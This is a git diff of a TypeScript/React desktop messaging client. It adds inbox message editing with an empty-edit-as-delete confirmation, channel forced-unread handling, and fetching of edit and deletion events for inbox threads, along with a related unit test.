diff --git a/desktop/src/features/home/lib/projectInbox.ts b/desktop/src/features/home/lib/projectInbox.ts
index a22b355214..80602241da 100644
--- a/desktop/src/features/home/lib/projectInbox.ts
+++ b/desktop/src/features/home/lib/projectInbox.ts
@@ -2,6 +2,7 @@ import type {
   Project,
   ProjectIssue,
   ProjectPullRequest,
+  Repository,
 } from "@/features/projects/hooks";
 import type { ProjectsWorkItemsResult } from "@/features/projects/projectWorkItems";
 import type { FeedItem } from "@/shared/api/types";
@@ -31,11 +32,13 @@ export type ProjectInboxWorkItem =
   | {
       type: "pull-request";
       project: Project;
+      repository: Repository;
       pullRequest: ProjectPullRequest;
     }
   | {
       type: "issue";
       project: Project;
+      repository: Repository;
       issue: ProjectIssue;
     };
 
@@ -82,8 +85,8 @@ export function resolveProjectInboxWorkItem(
   }
 
   const pullRequestEntry = workItems.pullRequests.items.find(
-    ({ project, pullRequest }) =>
-      project.repoAddress === reference.repoAddress &&
+    ({ repository, pullRequest }) =>
+      repository.repoAddress === reference.repoAddress &&
       pullRequest.id === reference.rootId,
   );
   if (pullRequestEntry) {
@@ -91,8 +94,8 @@ export function resolveProjectInboxWorkItem(
   }
 
   const issueEntry = workItems.issues.items.find(
-    ({ issue, project }) =>
-      project.repoAddress === reference.repoAddress &&
+    ({ issue, repository }) =>
+      repository.repoAddress === reference.repoAddress &&
       issue.id === reference.rootId,
   );
   return issueEntry ? { type: "issue", ...issueEntry } : null;
diff --git a/desktop/src/features/home/ui/HomeView.tsx b/desktop/src/features/home/ui/HomeView.tsx
index 0f7c851643..4ffbbaddc5 100644
--- a/desktop/src/features/home/ui/HomeView.tsx
+++ b/desktop/src/features/home/ui/HomeView.tsx
@@ -16,6 +16,7 @@ import {
   getInboxItemConversationId,
 } from "@/features/home/lib/inbox";
 import { useInboxSelectionAnchor } from "@/features/home/useInboxSelectionAnchor";
+import { useInboxEditMessage } from "@/features/home/useInboxEditMessage";
 import { useOwnedAgentPubkeys } from "@/features/home/useOwnedAgentPubkeys";
 import {
   filterInboxItems,
@@ -52,6 +53,7 @@ import {
 } from "@/features/messages/hooks";
 import { collectMessageMentionPubkeys } from "@/features/messages/lib/formatTimelineMessages";
 import { formatTime } from "@/features/messages/lib/dateFormatters";
+import { DeleteMessageConfirmDialog } from "@/features/messages/ui/DeleteMessageConfirmDialog";
 import { splitOutgoingTags } from "@/features/messages/lib/imetaMediaMarkdown";
 import { getThreadReference } from "@/features/messages/lib/threading";
 import { useUsersBatchQuery } from "@/features/profile/hooks";
@@ -167,6 +169,7 @@ export function HomeView({
   );
   const { goChannel } = useAppNavigation();
   const openDmMutation = useOpenDmMutation();
+  const openDm = openDmMutation.mutateAsync;
   const handleUserSelectItem = React.useCallback(
     (itemId: string | null) => {
       setAutoSelectedEventId(null);
@@ -209,13 +212,15 @@ export function HomeView({
     [applyInboxSearchPatch],
   );
   const [isDeletingMessage, setIsDeletingMessage] = React.useState(false);
+  const [emptyDeleteId, setEmptyDeleteId] = React.useState<string | null>(null);
+  const [editTargetId, setEditTargetId] = React.useState<string | null>(null);
   const [isSendingReply, setIsSendingReply] = React.useState(false);
   const handleOpenDm = React.useCallback(
     async (pubkeys: string[]) => {
-      const dm = await openDmMutation.mutateAsync({ pubkeys });
+      const dm = await openDm({ pubkeys });
       await goChannel(dm.id);
     },
-    [goChannel, openDmMutation],
+    [goChannel, openDm],
   );
   const { activeReminderEventIds, openReminder } = useRemindLater();
   const [localRepliesByItemId, setLocalRepliesByItemId] = React.useState<
@@ -234,13 +239,16 @@ export function HomeView({
     inboxListWidthPx,
   } = useResizableInboxListWidth();
   const {
+    clearChannelUnreadSource,
     getChannelReadAt,
     getThreadReadAt,
     getMessageReadAt,
     feedItemState,
     markChannelRead,
+    markChannelUnread,
     markMessageRead,
     markThreadRead,
+    recordThreadInteraction,
     readStateVersion,
   } = useAppShell();
   const { doneSet, markDone, markUnread, undoDone, undoUnread, unreadSet } =
@@ -301,6 +309,10 @@ export function HomeView({
       isChannelLoading: channelMessagesQuery.isPending,
     },
   );
+  const { editMessage, isEditingMessage } = useInboxEditMessage(
+    selectedChannel,
+    threadContext.refreshStructuralEvents,
+  );
 
   const feedProfilePubkeys = React.useMemo(
     () => [
@@ -383,7 +395,9 @@ export function HomeView({
       readStateVersion,
       localDoneSet: doneSet,
       localUnreadSet: unreadSet,
+      clearChannelUnreadSource,
       markChannelRead,
+      markChannelUnread,
       markMessageRead,
       markThreadRead,
       markDoneLocal: markDone,
@@ -442,6 +456,25 @@ export function HomeView({
     }
     return null;
   }, [filteredItems, selectedConversationId, selectedEventId]);
+  const deleteInboxMessage = React.useCallback(
+    async (eventId: string) => {
+      const channelId = selectedItem?.item.channelId;
+      if (!channelId) return;
+      setIsDeletingMessage(true);
+      try {
+        await deleteMessage(channelId, eventId);
+        await threadContext.refreshStructuralEvents();
+        onRefresh();
+      } finally {
+        setIsDeletingMessage(false);
+      }
+    },
+    [
+      onRefresh,
+      selectedItem?.item.channelId,
+      threadContext.refreshStructuralEvents,
+    ],
+  );
   const unreadBoundaryEventId = React.useMemo(() => {
     if (!selectedItem) return null;
     if (unreadBoundary?.conversationId === selectedItem.conversationId) {
@@ -460,6 +493,7 @@ export function HomeView({
     selectedChannel,
     selectedEventId,
     selectedItem,
+    structuralEvents: threadContext.structuralEvents,
   });
   const selectedItemReplies = React.useMemo<InboxReply[]>(() => {
     if (!selectedItem) return [];
@@ -485,6 +519,8 @@ export function HomeView({
 
   React.useEffect(() => {
     void selectedConversationId;
+    setEmptyDeleteId(null);
+    setEditTargetId(null);
     setIsDeletingMessage(false);
     setIsSendingReply(false);
   }, [selectedConversationId]);
@@ -602,6 +638,19 @@ export function HomeView({
 
   return (
     <ProfilePanelProvider onOpenProfilePanel={handleOpenProfilePanel}>
+      <DeleteMessageConfirmDialog
+        onConfirm={() => {
+          if (emptyDeleteId) {
+            setEditTargetId(null);
+            void deleteInboxMessage(emptyDeleteId);
+          }
+          setEmptyDeleteId(null);
+        }}
+        onOpenChange={(open) => {
+          if (!open) setEmptyDeleteId(null);
+        }}
+        open={emptyDeleteId !== null}
+      />
       <div className="flex min-h-0 flex-1 flex-col overflow-hidden">
         <div
           className={cn(
@@ -745,6 +794,7 @@ export function HomeView({
               currentPubkey={currentPubkey}
               disabledReplyReason={disabledReplyReason}
               isDeletingMessage={isDeletingMessage}
+              isEditingMessage={isEditingMessage}
               isSendingReply={isSendingReply}
               isSinglePanelView={isSinglePanelDetailView}
               hasThreadContextLoadError={threadContext.hasLoadError}
@@ -755,6 +805,8 @@ export function HomeView({
               profiles={feedProfiles}
               selectedEventId={selectedEventId}
               unreadBoundaryEventId={unreadBoundaryEventId}
+              editTargetId={editTargetId}
+              onEditTargetChange={setEditTargetId}
               onBack={
                 isSinglePanelDetailView
                   ? () => {
@@ -763,27 +815,15 @@ export function HomeView({
                   : undefined
               }
               onDelete={() => {
-                if (!selectedItem || !canDelete) {
-                  return;
-                }
-                const channelId = selectedItem.item.channelId;
-                if (!channelId) {
-                  return;
-                }
-
-                setIsDeletingMessage(true);
-                void deleteMessage(channelId, selectedItem.id)
-                  .then(() => {
-                    onRefresh();
-                  })
-                  .finally(() => {
-                    setIsDeletingMessage(false);
-                  });
+                if (!selectedItem || !canDelete) return;
+                void deleteInboxMessage(selectedItem.id);
               }}
               onManageChannel={(channelId) => {
                 handleCloseProfilePanel();
                 setManagedChannelId(channelId);
               }}
+              onEditSave={editMessage}
+              onRequestEmptyEditDelete={setEmptyDeleteId}
               onOpenContext={onOpenContext}
               onSendReply={async ({
                 content,
@@ -838,7 +878,7 @@ export function HomeView({
                     id: result.eventId,
                     parentId: result.parentEventId,
                     rootId: result.rootEventId,
-                    tags: emojiTags,
+                    tags: [...imetaTags, ...emojiTags, ...mentionTags],
                     timeLabel: formatTime(result.createdAt),
                   };
                   setLocalRepliesByItemId((current) => ({
@@ -861,6 +901,13 @@ export function HomeView({
                         eventId: message.id,
                         remove,
                       });
+                      if (!remove) {
+                        recordThreadInteraction(
+                          selectedItem?.conversationId ??
+                            message.rootId ??
+                            message.id,
+                        );
+                      }
                       await threadContext.refreshReactions();
                       await channelMessagesQuery.refetch();
                       onRefresh();
diff --git a/desktop/src/features/home/ui/InboxDetailPane.tsx b/desktop/src/features/home/ui/InboxDetailPane.tsx
index 9b6ff57e17..54b47820eb 100644
--- a/desktop/src/features/home/ui/InboxDetailPane.tsx
+++ b/desktop/src/features/home/ui/InboxDetailPane.tsx
@@ -31,6 +31,8 @@ import {
   isWithinGroupingWindow,
 } from "@/features/messages/lib/messageGrouping";
 import { orderMentionPubkeysByText } from "@/features/messages/lib/orderMentionPubkeys";
+import { canManageMessageForCurrentUser } from "@/features/messages/lib/canManageMessage";
+import { imetaMediaFromTags } from "@/features/messages/lib/imetaMediaMarkdown";
 import { getThreadReference } from "@/features/messages/lib/threading";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 import { MessageComposer } from "@/features/messages/ui/MessageComposer";
@@ -67,7 +69,9 @@ type InboxDetailPaneProps = {
   canReply: boolean;
   disabledReplyReason?: string | null;
   isDeletingMessage?: boolean;
+  isEditingMessage?: boolean;
   isSendingReply?: boolean;
+  editTargetId: string | null;
   isSinglePanelView?: boolean;
   hasThreadContextLoadError?: boolean;
   isThreadContextLoading?: boolean;
@@ -96,6 +100,14 @@ type InboxDetailPaneProps = {
   latchedDefaultParentId?: string | null;
   onBack?: () => void;
   onDelete: () => void;
+  onEditTargetChange: React.Dispatch<React.SetStateAction<string | null>>;
+  onEditSave: (input: {
+    content: string;
+    eventId: string;
+    mediaTags?: string[][];
+    mentionPubkeys?: string[];
+  }) => Promise<void>;
+  onRequestEmptyEditDelete: (eventId: string) => void;
   onManageChannel: (channelId: string) => void;
   onOpenContext: (
     channelId: string,
@@ -137,7 +149,9 @@ function InboxMessageDetailPane({
   canOpenChannel,
   canReply,
   disabledReplyReason,
+  editTargetId,
   isDeletingMessage = false,
+  isEditingMessage = false,
   isSendingReply = false,
   isSinglePanelView = false,
   hasThreadContextLoadError = false,
@@ -154,6 +168,9 @@ function InboxMessageDetailPane({
   latchedDefaultParentId = null,
   onBack,
   onDelete,
+  onEditTargetChange,
+  onEditSave,
+  onRequestEmptyEditDelete,
   onManageChannel,
   onOpenContext,
   onSendReply,
@@ -382,6 +399,16 @@ function InboxMessageDetailPane({
 
   const replyTarget =
     displayMessages.find((message) => message.id === replyTargetId) ?? null;
+  const editTarget =
+    displayMessages.find((message) => message.id === editTargetId) ?? null;
+  const composerEditTarget = editTarget
+    ? {
+        author: editTarget.authorLabel,
+        body: editTarget.content,
+        id: editTarget.id,
+        imetaMedia: imetaMediaFromTags(editTarget.tags),
+      }
+    : null;
   // Explicit sub-message reply wins. Otherwise use the captured default parent
   // (derived from the selected-event anchor at conversation entry), which does
   // not change when a live incoming message advances the representative item.
@@ -429,6 +456,14 @@ function InboxMessageDetailPane({
     setReplyTargetId((currentReplyTargetId) =>
       currentReplyTargetId === message.id ? null : message.id,
     );
+    onEditTargetChange(null);
+    focusComposer();
+  };
+  const handleSelectEditTarget = (message: InboxDisplayMessage) => {
+    onEditTargetChange((currentEditTargetId) =>
+      currentEditTargetId === message.id ? null : message.id,
+    );
+    setReplyTargetId(null);
     focusComposer();
   };
 
@@ -588,6 +623,24 @@ function InboxMessageDetailPane({
                   message.createdAt,
                 );
 
+              const canManageMessage = canManageMessageForCurrentUser(
+                {
+                  id: message.id,
+                  author: message.authorLabel,
+                  body: message.content,
+                  createdAt: message.createdAt,
+                  depth: message.depth,
+                  kind: message.kind,
+                  pubkey: message.authorPubkey,
+                  time: message.timeLabel ?? message.fullTimestampLabel,
+                },
+                currentPubkey,
+                profiles,
+              );
+
+              const canEditMessage =
+                channel?.archivedAt === null && canManageMessage;
+
               return (
                 <InboxMessageRow
                   agentPubkeys={agentPubkeys}
@@ -598,6 +651,7 @@ function InboxMessageDetailPane({
                   isFocusHighlightVisible={isFocusHighlightVisible}
                   key={message.id}
                   message={message}
+                  onEdit={canEditMessage ? handleSelectEditTarget : undefined}
                   onSelectReplyTarget={handleSelectReplyTarget}
                   onToggleReaction={onToggleReaction}
                   showUnreadBoundary={hasUnreadBoundary}
@@ -647,16 +701,41 @@ function InboxMessageDetailPane({
               channelName={item.channelLabel ?? "channel"}
               channelType={composerChannelType}
               containerClassName="px-4 pb-4 sm:px-4"
-              disabled={!canReply}
+              disabled={!canReply && !composerEditTarget}
               draftKey={
                 isDirectMessage
                   ? (item.item.channelId ?? item.conversationId)
                   : `thread:${item.conversationId}`
               }
-              isSending={isSendingReply}
+              editTarget={composerEditTarget}
+              isSending={isSendingReply || isEditingMessage}
+              onCancelEdit={
+                composerEditTarget ? () => onEditTargetChange(null) : undefined
+              }
               onCancelReply={
                 composerReplyTarget ? () => setReplyTargetId(null) : undefined
               }
+              onEditSave={async (content, mediaTags, mentionPubkeys) => {
+                if (!composerEditTarget) {
+                  return;
+                }
+                // Empty edits are delete shorthand. Keep edit mode active while
+                // confirmation is open so Cancel returns to the editor.
+                const isEmptyDeletion =
+                  content.trim().length === 0 &&
+                  (mediaTags === undefined || mediaTags.length === 0);
+                if (isEmptyDeletion) {
+                  onRequestEmptyEditDelete(composerEditTarget.id);
+                  return;
+                }
+                await onEditSave({
+                  content,
+                  eventId: composerEditTarget.id,
+                  mediaTags,
+                  mentionPubkeys,
+                });
+                onEditTargetChange(null);
+              }}
               onSend={(content, mentionPubkeys, mediaTags) =>
                 onSendReply({
                   content,
diff --git a/desktop/src/features/home/ui/InboxMessageRow.tsx b/desktop/src/features/home/ui/InboxMessageRow.tsx
index 04deafb3ff..d57db1a5d5 100644
--- a/desktop/src/features/home/ui/InboxMessageRow.tsx
+++ b/desktop/src/features/home/ui/InboxMessageRow.tsx
@@ -31,6 +31,7 @@ type InboxMessageRowProps = {
   isFirst?: boolean;
   isFocusHighlightVisible: boolean;
   message: InboxDisplayMessage;
+  onEdit?: (message: InboxDisplayMessage) => void;
   onSelectReplyTarget: (message: InboxDisplayMessage) => void;
   onToggleReaction?: (
     message: TimelineMessage,
@@ -48,6 +49,7 @@ export function InboxMessageRow({
   isFirst = false,
   isFocusHighlightVisible,
   message,
+  onEdit,
   onSelectReplyTarget,
   onToggleReaction,
   showUnreadBoundary = false,
@@ -116,7 +118,7 @@ export function InboxMessageRow({
             : "home-inbox-context-message"
         }
       >
-        {canReply || canToggleReactions ? (
+        {canReply || canToggleReactions || onEdit ? (
           <div
             className={cn(
               "absolute right-2 top-1 z-10",
@@ -126,6 +128,7 @@ export function InboxMessageRow({
             <MessageActionBar
               channelId={channelId}
               message={timelineMessage}
+              onEdit={onEdit ? () => onEdit(message) : undefined}
               onReactionSelect={
                 canToggleReactions ? handleReactionSelect : undefined
               }
diff --git a/desktop/src/features/home/ui/ProjectInboxDetail.tsx b/desktop/src/features/home/ui/ProjectInboxDetail.tsx
index c3d17e687e..19dda5889c 100644
--- a/desktop/src/features/home/ui/ProjectInboxDetail.tsx
+++ b/desktop/src/features/home/ui/ProjectInboxDetail.tsx
@@ -120,7 +120,10 @@ export function ProjectInboxDetail({
           workItem.type === "pull-request"
             ? { pullRequestId: workItem.pullRequest.id }
             : { issueId: workItem.issue.id };
-        void goProject(workItem.project.id, workItemId);
+        void goProject(workItem.project.id, {
+          ...workItemId,
+          repositoryId: workItem.repository.id,
+        });
       }}
       profiles={profiles}
       workItem={workItem}
diff --git a/desktop/src/features/home/ui/ProjectInboxDetailPane.tsx b/desktop/src/features/home/ui/ProjectInboxDetailPane.tsx
index 5b80c13cb9..d31ac95274 100644
--- a/desktop/src/features/home/ui/ProjectInboxDetailPane.tsx
+++ b/desktop/src/features/home/ui/ProjectInboxDetailPane.tsx
@@ -61,13 +61,13 @@ export function ProjectInboxDetailPane({
       if (workItem.type !== "pull-request") {
         throw new Error("Merge recovery is only available for pull requests.");
       }
-      const targetCloneUrl = workItem.project.cloneUrls[0];
+      const targetCloneUrl = workItem.repository.cloneUrls[0];
       if (!targetCloneUrl) {
-        throw new Error("This project has no clone URL.");
+        throw new Error("This repository has no clone URL.");
       }
       return openProjectMergeRecoveryTerminal({
         ...input,
-        projectDtag: workItem.project.dtag,
+        projectDtag: workItem.repository.dtag,
         reposDir: activeCommunity?.reposDir,
         targetCloneUrl,
       });
@@ -151,13 +151,13 @@ export function ProjectInboxDetailPane({
                     mode="conversation"
                     onOpenTerminal={handleOpenMergeRecoveryTerminal}
                     profiles={profiles}
-                    project={workItem.project}
+                    project={workItem.repository}
                     pullRequest={workItem.pullRequest}
                   />
                 </div>
                 <PullRequestMetaRail
                   profiles={profiles}
-                  project={workItem.project}
+                  project={workItem.repository}
                   pullRequest={workItem.pullRequest}
                   stacked={!showSideRail}
                 />
@@ -166,7 +166,7 @@ export function ProjectInboxDetailPane({
               <ProjectIssueDetail
                 issue={workItem.issue}
                 profiles={profiles}
-                project={workItem.project}
+                project={workItem.repository}
                 stackMetaRail={!showSideRail}
               />
             )}
diff --git a/desktop/src/features/home/useHomeDrafts.ts b/desktop/src/features/home/useHomeDrafts.ts
index 8d9accda61..4b4f4afa63 100644
--- a/desktop/src/features/home/useHomeDrafts.ts
+++ b/desktop/src/features/home/useHomeDrafts.ts
@@ -1,6 +1,6 @@
 import * as React from "react";
 
-import { clearDraftEntry } from "@/features/messages/lib/useDrafts";
+import { deleteDraftEntry } from "@/features/messages/lib/useDrafts";
 import {
   useActiveDraftCount,
   useDraftViewItems,
@@ -62,7 +62,7 @@ export function useHomeDrafts({
 
   const deleteDraft = React.useCallback(
     (draftKey: string) => {
-      clearDraftEntry(draftKey);
+      deleteDraftEntry(draftKey);
       if (selectedKey === draftKey) {
         setSelectedKey(null);
       }
diff --git a/desktop/src/features/home/useHomeInboxContextMessages.ts b/desktop/src/features/home/useHomeInboxContextMessages.ts
index b8693c6941..1997bcf27d 100644
--- a/desktop/src/features/home/useHomeInboxContextMessages.ts
+++ b/desktop/src/features/home/useHomeInboxContextMessages.ts
@@ -21,6 +21,7 @@ type UseHomeInboxContextMessagesOptions = {
   selectedChannel: Channel | null;
   selectedEventId: string | null;
   selectedItem: InboxItem | null;
+  structuralEvents?: RelayEvent[];
 };
 
 export function useHomeInboxContextMessages({
@@ -34,6 +35,7 @@ export function useHomeInboxContextMessages({
   selectedChannel,
   selectedEventId,
   selectedItem,
+  structuralEvents = [],
 }: UseHomeInboxContextMessagesOptions): InboxContextMessage[] {
   return React.useMemo(() => {
     if (!selectedItem) return [];
@@ -52,7 +54,7 @@ export function useHomeInboxContextMessages({
       ? (profiles?.[currentPubkey.toLowerCase()]?.avatarUrl ?? null)
       : null;
     const timelineMessages = formatTimelineMessages(
-      [...events, ...contextReactions],
+      [...events, ...structuralEvents, ...contextReactions],
       selectedChannel,
       currentPubkey,
       currentUserAvatarUrl,
@@ -83,5 +85,6 @@ export function useHomeInboxContextMessages({
     selectedChannel,
     selectedEventId,
     selectedItem,
+    structuralEvents,
   ]);
 }
diff --git a/desktop/src/features/home/useHomeInboxReadState.test.mjs b/desktop/src/features/home/useHomeInboxReadState.test.mjs
index 4af181379a..77caecad0f 100644
--- a/desktop/src/features/home/useHomeInboxReadState.test.mjs
+++ b/desktop/src/features/home/useHomeInboxReadState.test.mjs
@@ -4,6 +4,7 @@ import test from "node:test";
 import {
   getGroupedChannelReadTimestamp,
   getGroupedInboxItemIds,
+  hasRemainingChannelUnreadOverride,
   hasGroupedUnreadOverride,
   resolveInboxItemReadAt,
 } from "./useHomeInboxReadState.ts";
@@ -125,6 +126,47 @@ test("grouped unread override matches any item represented by the row", () => {
   );
 });
 
+test("remaining channel unread override ignores the row being cleared", () => {
+  const firstReply = feedItem({
+    id: "first-reply",
+    createdAt: 200,
+    tags: [
+      ["h", CHANNEL_ID],
+      ["e", "first-root", "", "root"],
+      ["e", "first-parent", "", "reply"],
+    ],
+  });
+  const secondReply = feedItem({
+    id: "second-reply",
+    createdAt: 300,
+    tags: [
+      ["h", CHANNEL_ID],
+      ["e", "second-root", "", "root"],
+      ["e", "second-parent", "", "reply"],
+    ],
+  });
+  const items = [inboxItem([firstReply]), inboxItem([secondReply])];
+
+  assert.equal(
+    hasRemainingChannelUnreadOverride(
+      items,
+      new Set(["first-reply", "second-reply"]),
+      CHANNEL_ID,
+      new Set(["first-reply"]),
+    ),
+    true,
+  );
+  assert.equal(
+    hasRemainingChannelUnreadOverride(
+      items,
+      new Set(["first-reply"]),
+      CHANNEL_ID,
+      new Set(["first-reply"]),
+    ),
+    false,
+  );
+});
+
 test("thread inbox row without a marker ignores local done fallback", () => {
   const replyItem = feedItem({
     id: "reply-event",
diff --git a/desktop/src/features/home/useHomeInboxReadState.ts b/desktop/src/features/home/useHomeInboxReadState.ts
index 624e72a0f5..24d536e730 100644
--- a/desktop/src/features/home/useHomeInboxReadState.ts
+++ b/desktop/src/features/home/useHomeInboxReadState.ts
@@ -1,5 +1,6 @@
 import * as React from "react";
 
+import type { ForcedUnreadSource } from "@/features/channels/forcedUnreadStore";
 import type { InboxItem } from "@/features/home/lib/inbox";
 import {
   getThreadReference,
@@ -25,6 +26,17 @@ type UseHomeInboxReadStateOptions = {
   markChannelRead: (
     channelId: string,
     readAt: string | null | undefined,
+    options?: {
+      preserveForcedUnread?: boolean;
+      topLevelOnly?: boolean;
+    },
+  ) => void;
+  /** Force a channel's unread indicator without rolling back its NIP-RS marker. */
+  markChannelUnread: (channelId: string, source?: ForcedUnreadSource) => void;
+  /** Remove only the named owner of a channel's forced-unread indicator. */
+  clearChannelUnreadSource: (
+    channelId: string,
+    source: ForcedUnreadSource,
   ) => void;
   /** Advance the thread read marker to the given unix-seconds timestamp. */
   markThreadRead: (rootId: string, timestamp: number) => void;
@@ -32,7 +44,7 @@ type UseHomeInboxReadStateOptions = {
   markMessageRead: (messageId: string, timestamp: number) => void;
   /** Local fallback: mark a non-channel item done. */
   markDoneLocal: (id: string) => void;
-  /** Local inbox row override: mark an item unread without touching the channel. */
+  /** Local inbox row override: mark an item unread alongside its channel emphasis. */
   markUnreadLocal: (id: string) => void;
   /** Local fallback: undo a non-channel item done. */
   undoDoneLocal: (id: string) => void;
@@ -83,6 +95,21 @@ export function hasGroupedUnreadOverride(
   return getGroupedInboxItemIds(item).some((id) => localUnreadSet.has(id));
 }
 
+export function hasRemainingChannelUnreadOverride(
+  items: InboxItem[],
+  localUnreadSet: ReadonlySet<string>,
+  channelId: string,
+  clearedItemIds: ReadonlySet<string>,
+): boolean {
+  return items.some(
+    (candidate) =>
+      candidate.item.channelId === channelId &&
+      getGroupedInboxItemIds(candidate).some(
+        (id) => localUnreadSet.has(id) && !clearedItemIds.has(id),
+      ),
+  );
+}
+
 export function resolveInboxItemReadAt(
   item: InboxItem,
   options: {
@@ -114,8 +141,8 @@ export function resolveInboxItemReadAt(
  * "Mark as read" on channel-backed items is routed through `markChannelRead`;
  * thread rows advance the same per-message markers as the channel thread
  * panel, plus the aggregate `thread:<root>` marker for compatibility. "Mark
- * unread" is item-local: it only reopens the specific inbox row and must not
- * light up the channel.
+ * unread" keeps its per-item local override and also restores the source
+ * channel's forced-unread indicator so channel surfaces agree with Inbox.
  */
 export function useHomeInboxReadState({
   items,
@@ -126,6 +153,8 @@ export function useHomeInboxReadState({
   localDoneSet,
   localUnreadSet = EMPTY_ITEM_SET,
   markChannelRead,
+  markChannelUnread,
+  clearChannelUnreadSource,
   markThreadRead,
   markMessageRead,
   markDoneLocal,
@@ -182,9 +211,22 @@ export function useHomeInboxReadState({
     (itemId: string) => {
       const item = itemById.get(itemId);
       const localUnreadIds = item ? getGroupedInboxItemIds(item) : [itemId];
+      const clearedItemIds = new Set(localUnreadIds);
       for (const id of localUnreadIds) {
         undoUnreadLocal(id);
       }
+      const channelId = item?.item.channelId ?? null;
+      if (
+        channelId &&
+        !hasRemainingChannelUnreadOverride(
+          items,
+          localUnreadSet,
+          channelId,
+          clearedItemIds,
+        )
+      ) {
+        clearChannelUnreadSource(channelId, "inbox");
+      }
       const threadRootId = item ? getInboxThreadRootId(item) : null;
       if (item && threadRootId) {
         const markedReplyIds = new Set<string>();
@@ -201,16 +243,17 @@ export function useHomeInboxReadState({
           markChannelRead(
             groupedChannelRead.channelId,
             new Date(groupedChannelRead.timestamp * 1_000).toISOString(),
+            { preserveForcedUnread: true, topLevelOnly: true },
           );
         }
         return;
       }
 
-      const channelId = item?.item.channelId ?? null;
       if (item && channelId) {
         markChannelRead(
           channelId,
           new Date(item.latestActivityAt * 1_000).toISOString(),
+          { preserveForcedUnread: true },
         );
         return;
       }
@@ -218,6 +261,9 @@ export function useHomeInboxReadState({
     },
     [
       itemById,
+      items,
+      clearChannelUnreadSource,
+      localUnreadSet,
       markChannelRead,
       markDoneLocal,
       markMessageRead,
@@ -230,8 +276,17 @@ export function useHomeInboxReadState({
     (itemId: string) => {
       undoDoneLocal(itemId);
       markUnreadLocal(itemId);
+      const item = itemById.get(itemId);
+      const channelId = item?.item.channelId ?? null;
+      // The Inbox override owns the durable thread dot, while the channel force
+      // restores timeline-level emphasis after the user leaves the channel.
+      // Opening the channel clears the bolding but leaves the thread dot until
+      // the thread itself is opened or marked read.
+      if (channelId && item) {
+        markChannelUnread(channelId, "inbox");
+      }
     },
-    [markUnreadLocal, undoDoneLocal],
+    [itemById, markChannelUnread, markUnreadLocal, undoDoneLocal],
   );
 
   return { effectiveDoneSet, markItemRead, markItemUnread };
diff --git a/desktop/src/features/home/useInboxEditMessage.ts b/desktop/src/features/home/useInboxEditMessage.ts
new file mode 100644
index 0000000000..f0c5628343
--- /dev/null
+++ b/desktop/src/features/home/useInboxEditMessage.ts
@@ -0,0 +1,36 @@
+import * as React from "react";
+
+import { useEditMessageMutation } from "@/features/messages/hooks";
+import type { Channel } from "@/shared/api/types";
+
+export type InboxEditMessageInput = {
+  content: string;
+  eventId: string;
+  mediaTags?: string[][];
+  mentionPubkeys?: string[];
+};
+
+/** Publishes an Inbox edit, then refreshes its structural event overlay. */
+export function useInboxEditMessage(
+  channel: Channel | null,
+  refreshStructuralEvents: () => Promise<void>,
+) {
+  const editMessageMutation = useEditMessageMutation(channel);
+  const mutateRef = React.useRef(editMessageMutation.mutateAsync);
+  const refreshRef = React.useRef(refreshStructuralEvents);
+  mutateRef.current = editMessageMutation.mutateAsync;
+  refreshRef.current = refreshStructuralEvents;
+
+  const editMessage = React.useCallback(
+    async (input: InboxEditMessageInput) => {
+      await mutateRef.current(input);
+      await refreshRef.current();
+    },
+    [],
+  );
+
+  return {
+    editMessage,
+    isEditingMessage: editMessageMutation.isPending,
+  } as const;
+}
diff --git a/desktop/src/features/home/useInboxThreadContext.ts b/desktop/src/features/home/useInboxThreadContext.ts
index 67a46957f9..4383970808 100644
--- a/desktop/src/features/home/useInboxThreadContext.ts
+++ b/desktop/src/features/home/useInboxThreadContext.ts
@@ -2,6 +2,7 @@ import * as React from "react";
 
 import { isInboxThreadContextEvent } from "@/features/home/lib/inboxViewHelpers";
 import { relayEventFromFeedItem } from "@/features/home/lib/inbox";
+import { fetchStructuralAuxForMessages } from "@/features/messages/lib/auxBackfill";
 import { getThreadReference } from "@/features/messages/lib/threading";
 import { relayClient } from "@/shared/api/relayClient";
 import { buildChannelReactionAuxFilter } from "@/shared/api/relayChannelFilters";
@@ -16,6 +17,10 @@ type InboxThreadContextResult = {
   events: RelayEvent[];
   hasLoadError: boolean;
   isLoading: boolean;
+  /** Edits/deletions referencing context messages, fetched by `#e`. */
+  structuralEvents: RelayEvent[];
+  /** Re-fetch structural events after an Inbox edit is published. */
+  refreshStructuralEvents: () => Promise<void>;
   /** kind:7 events referencing the context messages, fetched by `#e`. */
   reactionEvents: RelayEvent[];
   /** Re-fetch reaction events (e.g. after a toggle) without reloading context. */
@@ -250,9 +255,10 @@ export function useInboxThreadContext(
     selectedThreadRootId,
   ]);
 
-  // Reactions carry only an `#e` reference, so the channel-window cache never
-  // has them for thread replies — fetch them for the rendered context messages.
-  const [reactionEvents, setReactionEvents] = React.useState<RelayEvent[]>([]);
+  // Auxiliary events carry only an `#e` reference, so they may be absent from
+  // both the selected feed item and the channel-window cache. Hydrate them by
+  // the context message ids so cold Inbox items receive edits, deletions, and
+  // reactions without requiring the full channel timeline to be open.
   const contextEventIdsKey = React.useMemo(
     () =>
       events
@@ -261,6 +267,58 @@ export function useInboxThreadContext(
         .join(","),
     [events],
   );
+  const [structuralEvents, setStructuralEvents] = React.useState<RelayEvent[]>(
+    [],
+  );
+
+  const fetchStructuralEvents = React.useCallback(async (): Promise<
+    RelayEvent[] | null
+  > => {
+    const eventIds = contextEventIdsKey ? contextEventIdsKey.split(",") : [];
+    if (!selectedChannelId || eventIds.length === 0) {
+      return [];
+    }
+
+    try {
+      // Two hops, not one. A deletion can target an edit event rather than the
+      // original message, and `formatTimelineMessages` drops an edit only when
+      // the edit's own id is in the deletion set. A one-hop fetch therefore
+      // re-applies retracted content on a cold Inbox open. The channel and
+      // thread paths already resolve this closure with the same helper.
+      return await fetchStructuralAuxForMessages(selectedChannelId, eventIds);
+    } catch (error) {
+      console.error(
+        "Failed to hydrate structural events for Inbox context messages",
+        selectedChannelId,
+        error,
+      );
+      return null;
+    }
+  }, [contextEventIdsKey, selectedChannelId]);
+
+  React.useEffect(() => {
+    let isCancelled = false;
+    setStructuralEvents([]);
+
+    void fetchStructuralEvents().then((fetched) => {
+      if (!isCancelled && fetched !== null) {
+        setStructuralEvents(fetched);
+      }
+    });
+
+    return () => {
+      isCancelled = true;
+    };
+  }, [fetchStructuralEvents]);
+
+  const refreshStructuralEvents = React.useCallback(async () => {
+    const fetched = await fetchStructuralEvents();
+    if (fetched !== null) {
+      setStructuralEvents(fetched);
+    }
+  }, [fetchStructuralEvents]);
+
